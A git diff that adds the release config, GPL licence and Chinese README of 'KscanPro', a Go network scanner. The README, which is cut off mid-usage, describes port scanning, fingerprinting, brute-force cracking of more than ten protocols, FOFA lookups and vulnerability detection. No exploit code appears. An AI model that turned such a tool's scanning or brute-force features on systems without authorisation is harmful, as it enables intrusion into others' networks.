diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml
new file mode 100644
index 0000000..b4583c8
--- /dev/null
+++ b/.github/conf/.goreleaser.yml
@@ -0,0 +1,64 @@
+before:
+ hooks:
+ - go mod tidy
+builds:
+ -
+ id: default
+ env:
+ - CGO_ENABLED=0
+ goos:
+ - windows
+ - linux
+ - darwin
+ - freebsd
+ - solaris
+ goarch:
+ - amd64
+ - "386"
+ - arm
+ - arm64
+ - mips
+ - mipsle
+ - mips64
+ goarm:
+ - "6"
+ - "7"
+ flags:
+ - -trimpath
+ ldflags:
+ - -s -w
+upx:
+ -
+ ids: [ default ]
+ enabled: true
+ goos: ["windows", "linux"]
+ goarch: ["amd64", "386"]
+ compress: best
+# lzma: true
+# brute: true
+archives:
+ -
+ format: binary
+ allow_different_binary_count: true
+ name_template: >-
+ {{- .ProjectName }}
+ {{- if eq .Os "darwin"}}_mac
+ {{- else if eq .Os "linux"}}
+ {{- else if eq .Os "windows"}}
+ {{- else }}_{{ .Os }}{{ end }}
+ {{- if eq .Arch "amd64" }}
+ {{- else if eq .Arch "386" }}32
+ {{- else }}_{{ .Arch }}{{ end }}
+ {{- if .Arm }}v{{ .Arm }}{{ end -}}
+checksum:
+ name_template: 'checksums.txt'
+snapshot:
+ name_template: "{{ incpatch .Version }}-next"
+changelog:
+ sort: asc
+ filters:
+ exclude:
+ - '^docs:'
+ - '^test:'
+ - "^*.md"
+ - "^*.ya?ml"
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
new file mode 100644
index 0000000..a1418e3
--- /dev/null
+++ b/.github/workflows/release.yml
@@ -0,0 +1,43 @@
+name: goreleaser
+
+on:
+ push:
+ tags:
+ - '*'
+
+permissions:
+ contents: write
+
+jobs:
+ goreleaser:
+ runs-on: ubuntu-latest
+ timeout-minutes: 60
+ steps:
+ - name: "Check out code"
+ uses: actions/checkout@v3
+ with:
+ fetch-depth: 0
+
+ - name: "Set up Go"
+ uses: actions/setup-go@v4
+ with:
+ go-version: 1.22.x
+ -
+ name: Install UPX
+ uses: crazy-max/ghaction-upx@v3
+ with:
+ install-only: true
+
+ - name: UPX version
+ run: upx --version
+
+ -
+ name: "Create release on GitHub"
+ uses: goreleaser/goreleaser-action@v4
+ with:
+ distribution: goreleaser
+ version: latest
+ args: "release --clean --debug -f .github/conf/.goreleaser.yml"
+ workdir: .
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
\ No newline at end of file
diff --git a/.idea/.gitignore b/.idea/.gitignore
new file mode 100644
index 0000000..35410ca
--- /dev/null
+++ b/.idea/.gitignore
@@ -0,0 +1,8 @@
+# 默认忽略的文件
+/shelf/
+/workspace.xml
+# 基于编辑器的 HTTP 客户端请求
+/httpRequests/
+# Datasource local storage ignored files
+/dataSources/
+/dataSources.local.xml
diff --git a/.idea/kscan-master.iml b/.idea/kscan-master.iml
new file mode 100644
index 0000000..5e764c4
--- /dev/null
+++ b/.idea/kscan-master.iml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 0000000..dbeed97
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 0000000..94a25f7
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..f288702
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..5cca6ff
--- /dev/null
+++ b/README.md
@@ -0,0 +1,137 @@
+# KscanPro-轻量化全方位扫描器
+
+
+
+![GitHub Repo stars](https://img.shields.io/github/stars/lcvvvv/kscan?color=success)
+![GitHub forks](https://img.shields.io/github/forks/lcvvvv/kscan)
+![GitHub all release](https://img.shields.io/github/downloads/lcvvvv/kscan/total?color=blueviolet)
+
+[[中文 Readme]][url-doczh]
+
+[[English Readme]][url-docen]
+
+作者很久没更新了,就自己改了下,加入漏洞检测,效果如下:
+
+![img效果图.png](assets/img效果图.png)
+
+## 1 简介
+
+Kscan是一款纯go开发的全方位扫描器,具备端口扫描、协议检测、指纹识别,暴力破解等功能。支持协议1200+,协议指纹10000+,应用指纹20000+,暴力破解协议10余种。
+
+## 2 写在前面
+
+目前类似的资产扫描、指纹识别、漏洞检测的工具其实已经非常多了,也不乏有很棒的工具,但是Kscan其实有很多不同的想法。
+
+- Kscan希望能够接受多种输入格式,无需在使用之前对扫描对象进行分类,比如区分为IP,还是URL地址等,这对于使用者来说无疑是徒增工作量,所有的条目,均能正常输入和识别,若是URL地址,则会保留路径进行检测,若只是IP:PORT,则会优先对该端口进行协议识别。目前Kscan支持三种输入方式(-t,--target|-f,--fofa|--spy)。
+
+- Kscan没有为了追求效率,而根据端口号与常见协议进行比对来确认端口协议,也不是只检测WEB资产,在这方面,Kscan则更加看重准确性和全面性,只有高准确性的协议识别,才能为后续的应用层识别,提供良好的检测条件。
+
+- Kscan不是采用模块化的方式做单纯的功能堆叠,比如某个模块单独获取标题,某个模块单独获取SMB信息等等,独立运行,独立输出,而是以端口为单位输出资产信息,比如端口协议为HTTP,则会自动化进行后续的指纹识别、标题获取,端口协议为RPC,则会尝试获取主机名等等。
+
+![kscan逻辑图.drawio](assets/kscan逻辑图.drawio.png)
+
+## 3 编译手册
+
+[编译手册](https://github.com/lcvvvv/kscan/wiki/%E7%BC%96%E8%AF%91)
+
+## 4 开始吧
+
+Kscan目前具备3种输入目标的方式
+
+- -t/--target 可添加--check参数,只对指定的目标端口进行指纹识别,否则将对目标进行端口扫描和指纹识别
+
+```
+IP地址:114.114.114.114
+IP地址段:114.114.114.114-115.115.115.115
+URL地址:https://www.baidu.com
+文件地址:/tmp/target.txt
+```
+
+- --spy 可添加--scan参数可对存活C段进行端口扫描和指纹识别,否则将只检测存活的网段
+
+```
+[空]:将检测本机IP地址,对本机IP所在B段进行探测
+[all]:将对所有私网地址(192.168/172.32/10等)进行探测
+IP地址:将对指定IP地址所在B段进行探测
+```
+
+
+- -f/--fofa 可添加--check将对检索结果进行存活性验证,添加--scan参数将对检索结果进行端口扫描和指纹识别,否则将只返回fofa检索结果
+```
+fofa搜索关键字:将直接返回fofa搜索结果
+```
+
+## 5 使用方法
+
+```
+usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]
+
+
+optional arguments:
+ -h , --help show this help message and exit
+ -f , --fofa 从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
+ -t , --target 指定探测对象:
